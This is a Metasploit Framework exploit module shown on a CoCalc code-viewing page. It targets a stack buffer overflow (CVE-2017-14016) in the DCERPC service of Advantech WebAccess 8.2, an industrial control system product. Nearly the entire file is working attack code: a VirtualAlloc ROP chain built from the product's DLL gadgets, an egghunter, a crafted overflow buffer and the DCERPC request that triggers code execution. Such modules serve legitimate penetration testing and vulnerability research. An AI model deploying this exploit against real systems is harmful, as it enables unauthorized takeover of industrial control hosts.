CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GoodRanking
9
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Egghunter
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
18
By sending a specially crafted DCERPC request, an attacker could overflow
19
the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'ZDI', '17-938' ],
26
[ 'CVE', '2017-14016' ],
27
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
28
],
29
'Privileged' => true,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 2048,
37
'BadChars' => "\x00",
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
43
{
44
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
45
'Slide' => 0x07048f5b, # retn
46
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
47
}
48
],
49
],
50
'DisclosureDate' => '2017-11-02',
51
'DefaultTarget' => 0))
52
register_options([ Opt::RPORT(4592)])
53
end
54
55
def create_rop_chain()
56
57
# this target opts into dep
58
rop_gadgets =
59
[
60
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
61
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
62
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
63
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
64
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
65
0x07024822, # & push esp # ret [BwPAlarm.dll]
66
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
67
0xffffffff, # Value to negate, will become 0x00000001
68
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
69
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
70
rand_text_alpha(4).unpack('V'),
71
rand_text_alpha(4).unpack('V'),
72
rand_text_alpha(4).unpack('V'),
73
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
74
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
75
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
76
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
77
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
78
0xffffffc0, # Value to negate, will become 0x00000040
79
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
80
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
81
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
82
rand_text_alpha(4).unpack('V'),
83
rand_text_alpha(4).unpack('V'),
84
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
85
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
86
0x90909090, # nop
87
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
88
].flatten.pack("V*")
89
return rop_gadgets
90
end
91
92
def exploit
93
connect
94
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
95
print_status("Binding to #{handle} ...")
96
dcerpc_bind(handle)
97
print_status("Bound to #{handle} ...")
98
99
# send the request to get the handle
100
resp = dcerpc.call(0x4, [0x02000000].pack('V'))
101
handle = resp.last(4).unpack('V').first
102
print_good("Got a handle: 0x%08x" % handle)
103
egg_options = { :eggtag => "0day" }
104
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
105
106
# apparently this is called a ret chain
107
overflow = [target['Slide']].pack('V')
108
overflow << [target['Slide']].pack('V')
109
overflow << [target['Slide']].pack('V')
110
overflow << [target['Slide']].pack('V')
111
overflow << [target['Slide']].pack('V')
112
overflow << [target['Slide']].pack('V')
113
overflow << [target['Jmp']].pack('V')
114
overflow << [target['Ret']].pack('V')
115
overflow << [target['Slide']].pack('V')
116
overflow << [target['Slide']].pack('V')
117
overflow << [target['Slide']].pack('V')
118
overflow << [target['Slide']].pack('V')
119
overflow << [target['Slide']].pack('V')
120
overflow << [target['Slide']].pack('V')
121
overflow << create_rop_chain()
122
overflow << egghunter
123
overflow << egg
124
overflow << rand_text_alpha(0x1000-overflow.length)
125
126
# sorry but I dont like msf's ndr class.
127
sploit = [handle].pack('V')
128
sploit << [0x000138bd].pack('V') # opcode we are attacking
129
sploit << [0x00001000].pack('V') # size to copy
130
sploit << [0x00001000].pack('V') # size of string
131
sploit << overflow
132
print_status("Trying target #{target.name}...")
133
begin
134
dcerpc_call(0x1, sploit)
135
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
136
ensure
137
disconnect
138
end
139
handler
140
end
141
end
142
143